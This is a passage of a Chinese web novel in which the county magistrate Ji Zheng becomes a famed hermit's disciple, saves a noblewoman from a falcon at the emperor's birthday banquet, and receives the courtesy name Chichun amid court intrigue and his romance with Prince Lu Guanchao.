陆观潮又看了一会,确实精妙,可他毕竟不懂这些道理,便也不多问,“我相信你。” 他看季铮在书上涂涂画画,百无聊赖的拨弄着季铮衣裳的带子。 忽的像是想起什么,他道,“陆泽此次寿宴,必是要好好撮合几桩亲事,像你这种深的心意有身世清白的,定是首选。” 季铮放下笔,“怕我被他赐婚?” “嗯……”陆观潮无意识的手指绕着衣袋,开自己开脱道,“我并非小肚鸡肠之人,只不过你答应我了,不能反悔。” 季铮笑了,“我当然记得,今日召见就提及此事,打那时他要是执意赐婚,我也不无办法。” 陆观潮来了兴趣,“什么办法?” 季铮逗他道,“不举,看哪家大人敢把姑娘托付给我。” “?”陆观潮足足愣了有十余秒,才把自己麻木的思绪捋清楚。 他严肃起来,“不许这么说。” 季铮接着道,“你煞星,我不举,多般配。” 陆观潮彻底冷下来,重复道,“不许你这么说自己。” 眼看着陆观潮真生气了,季铮忙道,“骗你的,大不了我搬出季秧就是了,你悠着点,可别把我衣服弄坏了。” 陆观潮这才满意,悻悻松开季铮的衣带,轻轻“嗯”了一声。 季铮想起清晨的场景,道,“我今日在宫里见到苍山居士了。” “见到了?”陆观潮直起身子,“竟这么早回来了,你和他说什么了?” 季铮一五一十道,“没说什么,他险些滑倒被我扶了一把,仅此而已。” 陆观潮看了看窗外日头,已过午时,两人吃了饭也有一会了。 想必白玉山才回来,陆泽不会留他太久。 陆观潮问,“你写完了吗?” “马上。”季铮记下最后一笔,“现在好了,怎么?” 陆观潮也把季铮拉起来,“去拜见他。” 季铮一惊,“现在?” “对。”陆观潮道,“赶在别人去之前去,不然人来人往,惹恼了苍山居士就见不到了。” 季铮临走照了下镜子,还算得体,又道,“我还什么都没准备。” “不必准备。”陆观潮道,“有镇南候的关系在,我少时也听他讲过几日课,不成问题,他喜好刁钻,本也不喜旁人送礼。” 两人到时,好巧不巧,白玉山的轿子才落地。 白玉山一下轿,就看到两个人站在府门口。 一个青衫少年,一个天生冷脸,这两人白玉山印象皆颇为深刻。 不是别人,正是他教过的学生,当面恭敬,内里格外叛逆,是白玉山见过最无情无义之人,要不是有镇南候再三保证,他可不愿意教导。 白玉山多年没回大都,不知道这几年的事情,心道这厮不是跟着镇南候去幽州了,怎么镇南候还没回,他先跑回来了。 另一个则是他清晨才认识的小少年,这会看到轿子上下来人,拱手一拜,彬彬有礼,叫人看得赏心悦目。 白玉山疑惑问,“这位公子,和珏王殿下,有事找老夫?” “不算什么事。”季铮笑道,“今日早晨居士绊了脚,我回去后担心出问题,正好无事过来瞧瞧。” 白玉山点点头,“原是如此,我并为大碍,那珏王殿下呢?” 求人帮忙就有求人帮忙的态度,陆观潮尽己所能的摆出好脸色,道,“有一事求师祖帮忙,希望师祖看在师父的面子上帮一帮。” 白玉山稀奇了,“还有你堂堂珏王要求我的事,也好,叫我听听,那么一同进府吧。” 白府久不住人,但幸好有人打理,和白玉山走那年一般无二。 白玉山坐下,问道,“殿下这下可以说了吗?” “仓皇过来,本就打扰了,师祖见谅。”陆观潮道, “我落难陇县,是季铮将我救起收留,我感之不尽,不知如何报答,季铮家中无人,思来想去唯有求师祖代为长辈,给季铮取一表字。” 白玉山看向季铮,“你还没表字?” 季铮应道,“是,父母师父去的早,我与家妹相依为命。” “倒是个可怜的孩子,不过——”白玉山直言了断,“我已避世良久,不再管朝中事,也知道这一个表字的分量,恕我无法答应了。” 他再看了看季铮,眸光干净,一举一动松弛有度,是个好苗子,倘若是几年前,他未避世定会收入门下,可如今只好错过了。 陆观潮猜中了,道,“师祖不必急着拒绝,不如再考虑一会。” 白玉山最烦他人纠缠,正要动气敢两人走,就听季铮道, “居士这般做自有道理,我就不强求了,就是我草根出生,这几日研制出一个有趣的法子,听闻居士避世多年,凡是都亲力亲为,想与居士探讨一二。” 人俩都找过来了,好言好语的,白玉山赶出去不合适,听季铮这么说,顺着台阶下,“什么?” 季铮拿出那本堪堪完成的完成的高苗移栽一书,推到白玉山面前。 “居士请看。” 白玉山还以为他会随便聊聊就告辞,没想到还真是来讨论的,将信将疑的翻开来看。 只一看便深深陷进去。 白玉山读得静静有味,忍不住神情激动,拍手叫好。 囫囵吞枣的读到最后一页仍不尽兴,翻到第一页要认真研究研究。 他惊呼三声“神奇”,啧啧称奇,捧着这小小一本爱不释手,恨不得要塞进脑袋里。 季铮问,“我见识浅薄,还请居士指教一二。” “指教?”白玉山瞪大眼睛,“不不不,是你来指教我才对,我种树也有几年,总不得成,你这法子巧妙极了,可谓一用!” 季铮没 说什么,陆观潮反而开口了,“季铮的法子不止这些,还在陇县时,便用加工普通人家用的粪便用以施肥,产量大增。” 白玉山隐居离不开自己耕种,知晓产量大增的难处,难以置信的看着季铮。 季铮趁热打铁,“居士若是感兴趣,我誊抄一份给您。” “真的?”白玉山喜不自胜,他指着手上的小书,“这,也能给我一份吗?” 季铮应允下来,“好说,居士喜欢我这就给你写一份。” 白玉山自不消说,派人取来纸笔,季铮不必看原稿,将重要几张默写下来,有顾虑到白玉山看不明白,附加了几张注释。 字迹整洁大气,快且稳,两炷香功夫不到,白玉山便拿到更为详细的一沓子纸。 白玉山一一翻看,对照原稿,竟无差错,甚至从他读书的表情中察觉到他哪里不懂,换了更通俗的解释。 细心,谦和,知利,还有一个好脑子。 这般好的料子,白玉山此生难遇。 他禁不住心潮澎湃,老旧皮囊下血肉重铸,好似又回到了年轻时一腔热血,全心全意教书育才的时候。 再抬头时,他眸光湛湛,拉住季铮的手,确认问,“你说,你师父离世了?” 季铮垂下眼睫,“师父是村里的唯一私塾的先生,我自儿时启蒙,考中生员前几年,师父就早已不在了。” 白玉山更震惊了,“这般说,你是自学的?” 这样说也算对,陈昇父亲待启蒙后身子就不好了,没几年就撒手人寰,原身是靠着自己考中生员的。 季铮应道,“是。” 白玉山瞠目结舌,全靠自学,能到达这般地步?! 明明不该高兴的事情,他却心花怒放,这是捡到宝了。 白玉山问道,“你可愿拜我为师?” 季铮忐忑,“我寿辰后便要回陇县了,怕是无法跟着居士清修。” 白玉山忍放过这个机会,“即便是一日师徒,我也定倾囊相授。” 唯独陆观潮顿住了,这么一来,季铮不就成他师叔了? 这么好的机会,季铮怎能错过,当即撩起衣摆跪下,端着桌上一开始准备招待的茶水当做拜师茶,行了拜师礼。 “弟子季铮,拜见师父。” 白玉山大喜,接过已经凉透的茶水一饮而尽,乐呵呵的扶起,看着少年含蓄不失雀跃的笑,心道一切都是缘分啊。 他道,“你放心,为师一定给你选一个漂亮的表字。” 季铮笑道,“谢居士……啊,谢师父。” 拜师白玉山后,寿辰之前季铮一有时间就往白府跑,几乎贪得无厌的跟着白玉山学习,这几日下来,才知自己从前坐井观天,多么可笑了。 白玉山不愧创办太学,被尊为太师的两朝元老,其历经岁月,不是季铮这点花脚猫功夫能比的。 他学得快,私下用功,白玉山教起来很是省心,进度无线拉快。 季铮受益颇多,后来随白玉山到太学去,还以为结识了太学的几位学生,被一群同龄人甚至大于自己的人叫师叔,季铮几度脚趾扣地。 其中,季铮关系最要好的,一是王尚书之子王长乐,因着季铮与其父亲的渊源,两人最先认识,意外发现很对脾气。 二是姜太傅之子姜行歌,性子单纯活泼,被逮到好几次偷溜出去,季铮帮着掩饰两次,便和季铮交了心。 季铮白日学习交友,夜里还要挑灯夜读白玉山留的课业,霎时间还以为回到了高中时代,要不是身边有一个怨气十足的陆观潮的话。 陆观潮那神态,下一秒就要把他吃进肚子里一般,季铮再三保证自己寿辰后装作病了,晚走两日专程陪陆观潮才让人歇了大闹一顿的想法。 日子一晃便到寿辰前一日,季铮照例到白府。 66.第 66 章 白府。 白玉山正在桌前画一幅即将完成的山水图,听到有人进来也没分神。 季铮没打扰,自己寻了个地方找出本书,翻到没看到的地方,不发一言看着。 一屋寂静,许久,白玉山落下最后一笔,道,“季铮,过来瞧瞧。” 季铮放下书卷,依言走去端详。 画中一片春色,绿木成林,其间有一汪池水,池中两尾鲤鱼,边上的树叶倒影惟妙惟肖。 季铮真诚夸道,“师父画技超群,这一幅可有名字?” 白玉山摇摇头,“并没有,你可有能用的?” 季铮思索须臾道,“既有池有木,便取这两字,又是林在池中,就叫池林?” “这名字有趣。”白玉山却道,“不过以我之见,池春二字更为确切。” 季铮歪头看了看,不免惊喜,“池中春色,确实更妙!” 他欣赏一番,又问,“师父今日叫我看此,是想传授画技?” 白玉山不止教他学问,处世之法,闲暇时,琴棋书画,制衡之术,武学兵法都有涉及。 他把当年教授先帝的一切,打碎了掺假这些年的经验糅合到一起喂给季铮。 “非也。” 白玉山轻咳一声,卷起画作,郑重交到季铮手里,“我已经没有什么可以教给你了。” 季铮接了画,不解问,“师父?” 白玉山道,“你天机聪颖,本就无可挑剔,我毕生所学不过了了,这一室书卷随你取用,来日全靠你悟道了。” “这幅画你且拿着。”白玉山拍了拍季铮的肩膀,目漏欣慰,“我依然是你的师父,若遇到棘手的事,带着这幅画到苍山寻我,定会有人助你。” 季铮眼神落到画卷上,没承想说分别的日子这么快,他问,“师父不留在大都?我以为圣上亲自相邀,您会留下。” 白玉山收回手,踱步至窗边,窗外一树红梅开了两三点,一股凄凉萧瑟之意,他背对着季铮道, “这话我从不与旁人说起,但你说一说无妨,千万接下来这话好好记着。” “是。”季铮正色道,,“弟子必当凝记在心。” 白玉山道,“即为明君,在所不辞,但非明君,自拨来归。” 季铮垂眼,追问道,“若无明君呢。” “若无明君?”白玉山回头,看不清季铮的神色,他道,“我为我君。” 我为我君……我为我君。 为何不留在大都。 季铮眼皮一跳,原是如此。 陆泽非明君也。 他听罢,像以往无数次那样回答,“弟子受教了。” 背着光,白玉山捏着花白的胡须,不知在想什么。 其实他为的不是有一个好学生,一本移栽之法那么简单,这位年迈的帝王之师想的什么,季铮哪里能知道。 寿宴当天,陆观潮赖到很晚才走。 盯着他的宫人都因寿宴缺人手,早早离去,陆观潮不用一大早翻墙回府,自然多待了会。 他自顾自的给季铮选了一身衣服,像妆点娃娃似的,就差上手给季铮梳头发了。 陆观潮还真有这个想法,只可惜才动手就被季铮躲开了。 季铮笑他,“我又不是残废,你不用照顾我,梳发这点小事还是不劳烦我家殿下了。” 陆观潮趴在桌边,静静看着季铮,确认一般问,“寿宴结束后,真的陪我过来除夕再走?” “我几时骗过你。”季铮自己束好被陆观潮摸乱的头发。 一低头看到身上陆观潮选的衣裳,再看看这人穿的,同种款式还是一种料子,唯一的区别是他这件颜色稍浅。 陆观潮满意了,又道,“还有时间,干脆我翘了午膳,下午和你一起去。” 寿宴办在饭后,陆观潮是皇室,按例得先去随圣上一并用午膳。 季铮没好气道,“还嫌圣上不够讨厌你?” “哦。”陆观潮面无表情的耍无赖,“反正我们互相看不惯也不是稀奇事了,我即便不去他也不会不悦,怕不是还会松口气。” 季铮无奈,指指两人身上的衣裳,“好吧,你和我一起去,让别人都看看,珏王殿下和一个小县令撞衫了。” 陆观潮小心思被发现了,不自然的移开目光,“我听你的就是了。” 季铮是跟着王介夫一同去的。 寿辰办在御花园,王介夫才回来,忙着跟哥哥到处应酬维护关系,没时间带季铮,季铮便主动告别称自己逛一逛。 王介夫本想趁此机会介绍季铮,只是季铮觉得为时尚早推拒了。 冬日没什么景色,季铮逛得兴致缺缺,抬眼听到有人叫自己的名字,这才发现王长乐与姜行歌都在。 不过想来两人都是氏族之后,不在才奇怪。 姜行歌率先迎上来,“终于是找到你了,伯诚连玩笑都听不懂,我和他一起可没意思了,还是你有趣。” “皇宫重地,岂容你随意玩笑。”王长乐板着脸,无奈的看向季铮,“季兄莫要听他胡说。” 姜行歌捂住季铮的耳朵,“不听不听,像念经一样,你不说谁能知道。” 他放下手,问季铮,“他听不懂,我问你,什么人病了不用看大夫?” 王长乐哭笑不得,索性不理他了。 季铮左右看看,是答也不是,不答也不是,最终反问回去,“什么人。” 姜行歌眨眨眼,神秘兮兮道,“瞎子!” 他说罢,不管别人如何,自己捧腹大笑起来。 “无聊至极。”王长乐翻了个白眼,“身体发肤受之父母,你这般不尊重,也不知姜太傅是如何教你的。” 季铮干笑两声,“德音机灵,未尝不是坏事。” 姜行歌炫耀似的朝王长乐显摆,“听见没,说我机灵,诶季兄,还是你懂我,你是不知道,你还没来太学时,我和姜伯诚一块有多憋屈。” 他思维一项跳脱,季铮还没来得及回答这一句,下一句就已经冒出来了。 姜行歌揽住季铮肩膀,拉着他往一处小亭子走,小声问,“咱们圣上几年没办过寿辰了,你猜这回办是因为什么?” 王长乐跟在后面,想骂姜行歌什么话都往外说,就见季铮兴致勃勃的问为了什么,顿时没了脾气。 也就季铮愿意宠着他这孩子了吧。 三人入座,此处偏僻,王长乐也不压着声音了,“我听说,是为了选妃。” 季铮早就知道,还是顺着姜行歌问,“这种宫闱之事,岂是你我能随意笑谈的。” “无妨,又没人知晓。”姜行歌又问,“那你们可知,圣上选定谁了?” 季铮说,“这还没开始,怎么猜的出。” 姜行歌沾沾自喜就要开口,王长乐打断道,“今日与季兄说说便罢,你要是给别人说,小心祸从口出,落人口舌,旁人还道你父亲治下不严。” “知道了知道了,莫要念了。”姜行歌道,“像我府里的老妈子一样,聒得我耳朵疼。” 季铮笑了笑,“我只当玩笑听,不告之他人。” 姜行歌摆摆手,“告不告之也没事,反正过了今晚都知道了,圣上选中的是我二姐。” “原是如此,难怪伯诚不许你乱说。”季铮想起姜行歌口里那个天仙一般的二姐,又道,“那我就提前恭喜姜二小姐了。” “不必恭喜。”姜行歌又生出惆怅,“我大姐嫁了人后就再难见到,如今我二姐也要出阁了,既入宫,不知何日能再见。” 王长乐拍了他一下,“在外人面前可别露这幅模样,姜小姐是为妃,天大的好事,你闷闷不乐上了。” 姜行歌悻悻应下,只是嘴还撇着。 “倒也无伤大雅。 ”季铮缓和气氛道,“与家姐分离若还敲锣打鼓更会遭人非议,德音心思赤城,别人见了只会说姐弟情深,不会多想。” 姜行歌神色才缓和一二,远处忽的传来一声惊呼。 接着是几个姑娘惊恐的叫喊。 隔壁是女眷席位,季铮回头,层层竹林遮盖了视线,他正要起身去看看情况,余光身边的姜行歌慌里慌张的闪身而过。 他喃喃道,“阿姐,是我阿姐。” 季铮与王长乐对视一眼,赶忙追上去。 这时也顾不上男女有别了,姜行歌一脚踹倒几株竹子钻进去,季铮紧随其后。 女眷处为了解闷,摆了些玩乐之物,其中不乏宫中圈养的驯鹰。 待季铮看清眼前景物,也是吓了一跳。 一只半米高的海东青长大翅膀怪叫着,它面前的贵女吓得瑟瑟发抖,咬着唇没敢喊出口。 不远处一个姑娘抄起板凳,几番犹豫不知该不该上。 姜行歌已然吓呆了,要赤手空拳上去救人,还好王长乐知道这是个什么凶险的玩意,拉着姜行歌。 季铮放轻步子,走到在场唯一还算冷静的姑娘身边,“娘子,发生了什么。” 姑娘握着板凳,急得心烦意乱,听他问话,还以为是看热闹的,没好气的“啧”了一声,极其简短道, “圣上养的海东青,放出来给我们看,不知道被那个不长脑子的太监松了绑,这不正发疯呢。” 既是圣上养的,那定是剪过羽的,这才没乱飞盯上了贵女。 而此等猛禽优先攻击面部,这女子看来这是知道,一直憋着不敢大叫,慢慢的挪动身子,身后就是结了一层冰的吃糖,她恍若未觉,一个劲的后退。 远处一支侍卫听到声响才赶到,看到这幅场面都是不敢动。 季铮看到几处,迅速躲过姑娘手中的板凳,砸到海东青身后。 “砰”的一声巨响,海东青感知到背后危险,跳转身体,愤怒的长嘶一声。 姑娘气急,“你怎么能瞎捣乱!” 季铮没等他说完,又疾走几步,绕紧一人一鸟,一手脱下外袍罩住海东青,一手将人捞起来,猛地推给姜行歌。 “阿姐!”姜行歌吓得泪流满目,与王长乐接住人,才松下一口气,又提起另一口气。 只见场中海东青长着大翅膀挣脱季铮的外袍,目光锁定季铮的身影,不过一吸之间。 众人反应过来时,海东青的目标已经变成季铮了。 糟糕,还是慢了一步,海东青扑闪着翅膀靠近季铮,避无可避。 陆观潮赶来时看到的就是这幅场景,他心狠狠一揪,凉了半截,恨不得冲上去提季铮挡着,却心知只会打草惊蛇。 身边一个侍卫拿着弓箭不敢射,毕竟时圣上之物,他拿不准谁贵谁轻。 陆观潮可顾不上那么多,一伸腿把侍卫踹到,夺了他手上弓箭。 侍卫“哎呦”倒地,没人发现这也倒一个人,他扶着头爬起,四下乱看都找不到踹自己的人,当见鬼了。 “季铮!” 季铮一转头,就见一幅弓箭朝他飞来,弓安安稳稳的落到他怀里,箭被落下,他心里一喜,有一把弓就够用了。 彼时这海东青距离季铮不过一米远,他翻身抓取一只姑娘们投壶用的箭,搭弓拉弦。 长箭飞出,“咻”得在空中划过一声破空声。 海东青一边翅膀被射中,疼得吱哇交换叫唤,拖着残缺的翅膀还要上前。 季铮迫不得已,又射出一箭,海东青另一边的翅膀也挂相,彻底动弹不得了。 场面寂静须臾,几个侍卫仿佛才回复神志一样,齐齐上前将这畜生摁住。 季铮惊疑不定的放下弓箭,长袖之下,拉弓的那种手隐隐发抖。 人群之后,陆观潮满目红血丝,见他无恙,一阵后怕。 67.第 67 章 待到那只海东青被关进笼子里,众人才七嘴八舌的交谈起来。 出了这档子时,已又不少周遭的大人过来看,一时间议论声不绝于耳。 “这位是谁?” “不知啊,哪家小公子,身手好生了得。” 女眷中一姑娘戳了一下身边发呆的姑娘,“诶,佑安,他是和你阿兄一起来的,你认识吗?” 王幼安回神,点点头,“是云州陇县的县令,姓季,先前考中生员,圣上特授县令一职。” 几人连连惊叹,“才生员便授官职,未来不容小觑啊,可惜了只是个县令……” “县令,也很厉害啊。”王幼安捏紧帕子。 “季兄。”王长乐小跑两步到季铮身边,拉着他上下看,焦急问,“你没事吧,这畜生当真是疯了。” 身后姜行歌拉着才安定心情的姜二娘子过来道谢。 姜行歌没了那副嬉皮笑脸的表情,满脸感激,“季兄,我真不知如何感谢您了。” “不必如此。”季铮忙笑着安慰,“二娘子无事便好,我家中一妹妹,与二娘子年龄相仿,看她受险,我便想起我家妹妹了。” 姜二小姐脸上泪痕未干,她拜谢道,“小女姜绾绾,谢季大人救命之恩,早听闻德音提起你,今日一见果然名不虚传。” 背后传来鼓掌声。 “真是朕的好臣子啊。” 季铮回头,是陆泽。 这一闹,是把圣上这尊大佛也闹来了。 陆泽身边跟着白玉山,两人对视,季铮看到白玉山眼中的担心,他淡笑一声充当安抚。 四周见圣上来了,停了议论拜见。 “都免礼吧。”陆泽看向季铮,“季铮,你过来。” 季铮左右看了一眼,方才他夺板凳的姑娘已经没影了,看那姑娘犹豫再三,想来也是怕的,这会应是躲起来了。 他放下手中弓箭,走到陆泽面前,“见过圣上。” 陆泽笑呵呵的道,“你干的事,朕都听说了。” “没想到惊动了圣上。”季铮含着歉意道,“臣有罪,不该射杀圣上爱宠,罪该万死。” 说着他还真要跪下以示歉意。 陆泽伸手扶了一把,“爱卿救人为先,朕谢你有功还来不及,怎能斥责。” 季铮进退有度,麻利的站直,“圣上谬赞,臣不过举手之劳。” 陆泽确实该谢谢季铮,这只海东青是他故意叫人松绑的,还在“细心”陆观潮桌上放了这海东青喜爱的吃食。 为的是在众人面前演一出,海东青攻击陆观潮,陆观潮发怒刺杀圣上爱宠的好戏。 再演戏自己爱宠离去悲痛欲绝,给不满陆观潮的臣子们寻一个上奏他的由头。 不巧的是,女眷这也点了要看看海东青,他那的海东青老老实实,乖巧可人,女眷这的却发了疯。 陆泽看了一眼姜行歌身边潸然泪下的姜绾绾,脸色沉了沉。 要不是季铮在这,后果不可设想。 他大手一挥,厉声道,“看管这只畜生的人呢?” 不消一会,几个侍卫驾着一个太监服饰的人到现场。 太监被压着地上,吓得尿了裤子。 陆泽质问他,“你是怎么看的,真以为朕好脾气吗!” “是,是,是……”太监支支吾吾了半天,也不敢把幕后之人道出。 哪敢道出,幕后之人分明就在他面前,他难道要当着所有人道,是圣上让自己松了脚铐,只是不小心取错鸟了? 他不要命,他的九族还要命呢! 陆泽见他说不上个所以然,下令道,“来人,自己疏忽还敢怪罪他人,将他拉去慎刑司,严刑伺候!” 几人拖着太监下去,太监自知无力回天,灰白着脸色一句话都说不出来。 陆泽对季铮道,“此番你立大功,朕另许你一个愿望,想要什么赏赐?” 【叮咚!】 系统弹出面板,【恭喜宿主达成一鸣惊人成就,整体名声值生长至20%,请宿主再接再厉哦~】 众人都看向季铮,看着位才救了人的小小县令,对着圣上,要许什么心愿。 只有极少数人注意到,圣上说得另许一个愿望,另许二字。 刘玄逸就是其中一个,他看着季铮,不想这人多厉害能得圣上两个心愿,却想,这人生得真面善。 当着众多人的面,季铮听了这话也没旁人那么激动,几乎毫无波澜道,“臣受圣上庇佑,什么都不缺,若非要许一个愿望……” 他指了指笼子里奄奄一息的海东青,“这海东青也活不久,不若圣上将他赏给我,待他死后我拔下尾羽,为家妹作一柄羽扇。” “什么?” “就一只快死的海东青?” 这小县令疯了还是傻了? 四下传来不可思议的声音,显然,向圣上讨一只海东青,太亏了。 连陆泽都吓了一跳,问道,“你就要一只海东青?” 还是快死的。 季铮认真点头,“是,家妹好热,又喜欢这种精巧的玩意,我来大都一趟,总要带些礼物给她。” 陆泽乐了,“你倒是不贪。” 季铮讪笑一声低下头去。 “准了。”陆泽令人给这只海东青简单包扎,又当场赏下金银财宝,小姑娘会喜欢的胭脂水粉,绫罗绸缎,以免落人口舌。 陆泽又安抚了姜绾绾几人,赐下几件宝物,就要作罢回席,身边有人开口。 “圣上稍等。”白玉山道,“我有几句话与这位县令大人说。” 陆泽才迈出去的步子一顿,转回身不解的“哦”了一声。 他眼神在白玉山和季铮之间飘忽,想起来什么,道,“朕听闻,老师前段时间收了季铮为弟子?” “正是。”白玉山道,“我观这少年有趣,正巧在大都几日无聊,便收下了。” “师父许久未收弟子了……”陆泽眉头压了压,思索片刻,他叹了口气,“也罢,总归是好事,季铮,还不上前一步。” 季铮察觉到四面八方传来探究的眼神,他挺直腰板,又往前几步,“师父。” 白玉山道,“你还没有表字?” “是。”季铮颔首,心里已经料想到白玉山要说什么了。 果不其然,白玉山下一秒道,“我为你取一个,如何?” 季铮欣喜道,“我家中已无长辈,师父愿意赐字,感激不尽。” 白玉山定定的看着季铮,忽的解发脱冠,季铮一懵,立刻反应过来,撩起衣摆半跪下。 他早猜的了白玉山会给他取字,还以为会挑一个好日子,在太学或是他父母牌位前。 这是要借着圣上的场地给自己行冠礼?! 也就是白玉山了,若是别人,圣上不得砍两颗脑袋助助兴,不像这会,还笑眯眯的看热闹。 季铮有些担惊受怕的抬眼,这一幕落到陆泽眼里,才生起的几分怀疑荡然无存。 他在心底笑骂自己,白玉山深山野岭住惯了,早年就听父皇说这老家伙多离经叛道,谁都不知道他在想什么。 正所谓一朝天子一朝臣,他早就淡出这一代朝堂,除了几位老臣,鲜少有人认得,也够不上威胁,这番顶多是有点越矩罢了。 更何况这季铮是个老实单纯的,他看着都格外喜欢,白玉山收季铮为徒,在他的寿辰上给季铮行冠礼,便随他去了,陆泽亦想成人之美,传一传美谈。 陆泽佯装埋怨道,“老师怎么挑在今天,这什么都不准备,委屈季铮了。” 季铮弱弱一笑,“臣不委屈。” 白玉山为季铮戴上玉冠,看了又看,才道,“池中君子色,春色一夜开,便取作池春吧。” 池春。 季铮听着耳熟,乍然反应过来,原来是那幅画。 他喜道,“池春谢师父赐字。” “起来吧季池春。”陆泽笑道,“朕本来想给你取的,没想到叫你师父领先了,也为寿辰添添喜气。” 他又开口赏了几份礼。 圣上这话毕,众人这才拿准注意,连声向季铮道喜。 季铮一一回应,又对陆泽拜了一拜,“谢圣上恕臣不敬。” “无妨。”陆泽扶起白玉山,道,“师父快随朕去重新束发吧。” 圣上搀扶白玉山而去,又引得人群暗自称赞圣上仁慈。 人群散去,此处毕竟是女眷休息场所,季铮就要回避。 一个女娘跑来,“季大人,你还好吗?” 季铮认出来人,是王长乐的妹妹王幼安,和睦一笑,“我不是,王娘子受惊了。” 他捡起地上的外袍,好在没被那只海东青没折腾坏,季铮掸了掸,重新穿上,这一身是翠绿色,配上玉冠,更显的他温润如玉。 王幼安点点头,走到王长乐身边,低声说了什么。 王长乐便拱手请辞,“各位,父亲唤我,我就先走了。” 想来是为了了解情况,季铮点点头,一边姜行歌也道,“季兄,我先带二姐下去歇一歇,晚些时候我请你喝酒。” 季铮笑着道了别,正想着是从破了洞的竹林里钻回去,还是找条路回去,就见远处一个身影一晃,季铮暗笑一声,朝那走去。 跟着那道身影一路走了老远,绕道一处偏僻的小树林,那人终于停下步子。 季铮笑道,“陆观潮,你怎么还跟踪我?” 陆观潮没说话。 “方才那把弓是不是你给我的?”季铮走了几步,又道,“还好你给我了,不然我就要一语成谶,被那只海东青抓坏脸了。” 陆观潮手抖了抖,听到这话,再也忍不住,回神扯住季铮的胳膊狠狠涌入怀中。 季铮还没反应过来。 头顶传来陆观潮劫后余生般的哭腔。 “季铮……” 他一遍又一遍的喃喃着季铮的名字,季铮心底漏了一排,他抬手拍了拍陆观潮后背,哄道,“我心底有数,你看我不是没事吗?” 为防止陆观潮不信,他调笑道,“你摸摸看?” “季铮,你吓死我了。” 陆观潮声音闷闷的,“吓死我了,我要是再晚一会,是不是就再也见不到你了。” 季铮再多哄人的话都停在嘴边,方知自己干了多可恶的事。 68.第 68 章 “不会的。” 季铮严肃道,“你永远不会见不到我,我一直都在。” 陆观潮抱的更紧了,仿佛要揉入自己的骨血里,仿佛一松手季铮就会消失。 他无言,只是泪水稀里哗啦的留下,这前半辈子没流的泪,遇到季铮后,全流给季铮了。 不多时便哭湿了季铮小半肩膀。 冬衣厚重,季铮没感受到泪水,却实实在在的知晓了陆观潮一颗心因他而伤。 他愈发愧疚,“对不住,我莽撞了,往后不这样了好不好。” 陆观潮不动弹。 季铮换了个说法,骂道,“这个傻季铮,总干出些荒唐事惹我家殿下忧心,看我哪天把他打一顿,给你出出气。” 陆观潮噗呲一下笑出声。 不止这辈子的泪水都给季铮了,这辈子从没听过的哄孩子的话,也全是季铮对他说的。 他哀怨道,“又胡说八道了。” “是是是,是我胡说八道。”季铮笑了,“我家殿下高兴了就行。” 季铮掰开陆观潮,叹了口气,“陆观潮,你就这么担心我吗?” 陆观潮看着他的眼睛,一点头,“是,你若有事,我绝不独活。” 他的神色认真,单看他眉眼,谁知道他是在说情爱,还以为是在说什么伟大的誓言。 季铮蹙起眉,“你说我胡言乱语,你才是胡言乱语的那一个好不好!” 他看着陆观潮那毫不知悔改的表情,也不知道说什么是好,看来自己这一次是真吓到陆观潮了。 陆观潮移开目光道,“所以,你以后再不顾自己救别人时,记得想想,万一你出了什么事,丢掉性命的不止你一个。” 季铮望进陆观潮一双眸子里,差点陷进去失去神志,顿了顿,他点头答应,“我知道了。” 晚些时候,晚宴开始,方才席间受惊,陆泽也失了兴趣相看,匆匆看了几眼便借口不适离开了。 一众臣子相互敬酒,本没有季铮什么事的,无奈白玉山当众赐字圣上还没怪罪,惹得众人好奇,接连和他见面。 季铮这一晚上脸都笑烂了,怕是梦里都要“见过见过”“久仰久仰”了。 这场寿辰深意是互相相看,只不过圣上没兴趣不亲自赐婚,这不妨碍几个臣子自己寻。 整个大殿宛如豪华版的公园相亲角,其中王尚书明显对他很看重,主动拉着他介绍,遇到谁都先夸一遍。 旁人看王尚书这么喜欢,猜测是想让季铮当女婿,也就不再季铮的想法,正好当挡箭牌了。 好不容易熬到宴席结束,季铮谢绝王尚书要送他的邀请,转头对上姜行歌。 季铮以为姜行歌要请他吃酒,赶紧拒绝,“今日我实在累了,明日好不好?” “哦哦好。”姜行歌挠了挠脑袋,“我并非请你喝酒,啊不对,我是打算请你,不过现在是我父亲想见见你,季兄……现在是池春了,有时间吗?” “姜太傅?”季铮一怔,“姜太傅相邀,再累我也得趴着去。” 姜行歌带着他出宫,宫外一辆马车旁,姜太傅亲自下车等候。 季铮在席间见过姜太傅,当然认得,上前拜见道,“问姜太傅安,可有事见季某。” 姜太傅此人季铮略有了解,亦是两朝元老,虽不及白玉山资历,但也是当之无愧的帝师,受封太傅后拿得起放得下,少管朝中事,因此很受陆泽爱戴。 陆泽多虑,从他杀生母弟弟这些行径上看,是个独揽大权,一心将权利独握的帝王,也就更喜欢不争不抢的臣子。 姜太傅干瘦,夜色下,季铮模糊发现他身上的官袍脱了线。 他看到季铮来,极轻的点了点头,问,“你可知道我为什么要见你。” 季铮猜道,“是臣帮了姜二娘子?” “不止。”姜太傅看着他,道,“此番叫你过来,还有一句忠告给你。” 季铮作洗耳恭听状,“晚辈季铮,求指教了。” 姜太傅道,“早些席间,有不少臣子与你相谈,连工部尚书都赞不绝口,不是好事。” 季铮心底咯噔一下。 又听姜太傅道,“你根基不稳,又无背景帮衬,势头太猛必定会惹到人,到那时圣上再喜欢你,众口悠悠,没人能护得下你。” 季铮睫毛颤了颤,深呼吸一口,摆足恭敬姿态,“请问太傅,我该如何做。” 姜太傅深深的看了他一眼,不想多说,在姜行歌哀求的目光下,还是开口道,“不要过早成家,莫要参与应酬,尽早回你的陇县。” 姜行歌哀嚎一声,“父亲——” 他哭丧着脸,“你没看到,那只海东青凶险异常,池春救了阿姐,我好不容易遇到这么欢喜的人,您就想想办法,让池春留下嘛。” “姜行歌。”姜太傅斥他,“莫要胡闹。” 他转而看向季铮,继续道,“看在你救了小女,又与德音关系好的份上,我给你一个出路。” 姜行歌扯着季铮的胳膊,紧张等待姜太傅后文。 姜太傅道,“入我府中做幕僚,待到事态稳定,我再为你寻出路。” 季铮犹豫了,姜太傅又道,“这是最好的办法了,我只给你一个机会,答不答应。” 姜行歌扯了扯季铮的衣角,眼巴巴的看着他。 季铮思索片刻,郑重道,“谢太傅好意了,我还是要回陇县。” “啊?”姜行歌道,“陇县那穷乡僻壤的,你回去干嘛,留在大都嘛,我还没请你喝酒。” 话没说完,就被姜太傅一巴掌拍到头上。 姜太傅最后看了季铮一眼,“你想清楚了就好,那我就不再劝了。” 说着,不顾哀嚎的姜行歌,转身上车。 